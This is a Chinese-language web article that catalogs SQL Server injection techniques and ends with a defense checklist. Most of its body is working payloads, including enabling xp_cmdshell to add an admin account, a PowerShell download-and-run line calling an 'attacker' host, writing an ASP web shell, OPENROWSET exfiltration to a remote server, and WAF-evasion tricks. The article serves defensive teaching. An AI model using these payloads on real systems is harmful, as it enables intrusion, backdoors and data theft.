首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 注入攻擊手法大全與防禦對策 (僅供防禦參考)

     編輯:關於SqlServer

前言

警告:本文整理常見 SQL Server 注入攻擊手法,僅供資安人員、開發人員理解攻擊原理、建構防禦體系之用。未經授權對系統進行滲透測試屬違法行為。請勿將此資訊用於惡意用途。

一、注入點判斷

典型脆弱代碼:

sql = "SELECT pwd, answer FROM [member] WHERE userID='" & userID & "' AND answer='" & answer & "'"

攻擊者輸入 ' OR '1'='1 導致條件永真,繞過驗證。

判斷注入點常用 Payload:

  • ; AND 1=1 -- (正常) vs ; AND 1=2 -- (異常)
  • 觀察頁面回應差異 (布林盲注)。

二、資料庫結構偵察

AND 0<>(SELECT COUNT(*) FROM admin) --AND 1=(SELECT COUNT(*) FROM admin WHERE LEN(username)>0) --AND 1=(SELECT COUNT(*) FROM admin WHERE LEN(username)>6) --AND 1=(SELECT COUNT(*) FROM admin WHERE LEFT(username,1)='a') --UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' --
目標Payload 範例
猜測資料表
猜測欄位
猜測欄位長度
逐字元暴力
利用系統表

三、權限與環境探測

AND 1=(SELECT @@VERSION) --AND USER_NAME()='dbo' --AND 1=(SELECT IS_SRVROLEMEMBER('sysadmin')) --AND 1=(SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell') --
目標Payload
版本資訊
目前用戶
是否 sysadmin
xp_cmdshell 狀態

四、危險擴充預存程序濫用

若攻擊者擁有 sysadmin,可透過下列方式執行作業系統命令:

-- 重新啟用 xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- 執行命令
EXEC master..xp_cmdshell 'net user hacker P@ssw0rd /add';
EXEC master..xp_cmdshell 'net localgroup administrators hacker /add';

-- 反向 Shell (需防火牆允許)
EXEC master..xp_cmdshell 'powershell -c "IEX (New-Object Net.WebClient).DownloadString(''https://attacker/rev.ps1'')"';

五、檔案系統存取

-- 遍歷目錄
CREATE TABLE temp (id NVARCHAR(255));
INSERT temp EXEC master..xp_dirtree 'C:\';
SELECT * FROM temp;

-- 讀取檔案
INSERT temp EXEC master..xp_cmdshell 'type C:\web\config.asp';
SELECT * FROM temp;

-- 寫入 WebShell
DECLARE @o INT;
EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT;
EXEC sp_OAMethod @o, 'CreateTextFile', NULL, 'C:\inetpub\wwwroot\shell.asp', 1;
EXEC sp_OAMethod @o, 'WriteLine', NULL, '<% Execute(Request("cmd")) %>';

六、資料外帶 (Data Exfiltration)

-- 開啟遠端資料庫連線 (OpenRowSet)
SELECT * FROM OPENROWSET('SQLOLEDB', 'uid=sa;pwd=pass;Network=DBMSSOCN;Address=192.168.1.100,1433', 'SELECT * FROM targetdb.dbo.sensitive_table');

-- 將資料寫入攻擊者控制的資料庫
INSERT INTO OPENROWSET('SQLOLEDB', 'uid=sa;pwd=pass;Address=192.168.1.100,1433', 'SELECT * FROM attacker_table')
SELECT * FROM local_sensitive_table;

七、繞過 WAF/IDS 技巧

  • 大小寫混淆:SeLeCt, UnIoN
  • 註釋變形:--, ;--, /* */
  • 編碼繞過:URL encode, Unicode, Hex (0x73797361646D696E = 'sysadmin')
  • 變數隱藏:DECLARE @a SYSNAME SET @a='xp_'+'cmdshell' EXEC @a 'dir'

八、防禦對策清單

  1. 參數化查詢 / 預存程序:永不拼接 SQL 字串。
    cmd.Parameters.Add("@user", SqlDbType.NVarChar, 50).Value = userInput;
  2. 最小權限原則:應用程式連線帳號嚴禁使用 sa 或 sysadmin,僅授與必要資料表 SELECT/INSERT/UPDATE/DELETE 或 EXECUTE 預存程序權限。
  3. 停用/移除危險擴充程序:xp_cmdshell, sp_OA*, xp_reg*, xp_dirtree 等,若業務必須,嚴格限制執行帳號與審計。
  4. 錯誤訊息不回顯:生產環境關閉詳細錯誤頁面,統一回傳通用錯誤訊息,記錄詳細 Log 供內部排查。
  5. 輸入驗證與長度限制:白名單驗證 (如帳號僅允許英數字)、長度限制、型別轉換。
  6. WAF / 入侵偵測:部署 ModSecurity、Azure WAF、Cloudflare WAF 等,啟用 SQLi 規則集。
  7. 定期審計與滲透測試:掃描工具 (SQLMap, Nessus) + 人工滲透測試,驗證防禦有效性。
  8. 資料庫審計:啟用 SQL Server Audit 記錄所有 DDL/DML、失敗登入、權限變更、xp_cmdshell 呼叫等敏感操作。

九、總結

SQL 注入根因在於資料與代碼未分離。徹底落實參數化查詢、最小權限、錯誤資訊隱藏、危險功能移除、持續監控審計,即可將風險降至最低。安全是系統工程,非單一工具可解,需開發、運維、資安共同建構纵深防禦體系。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved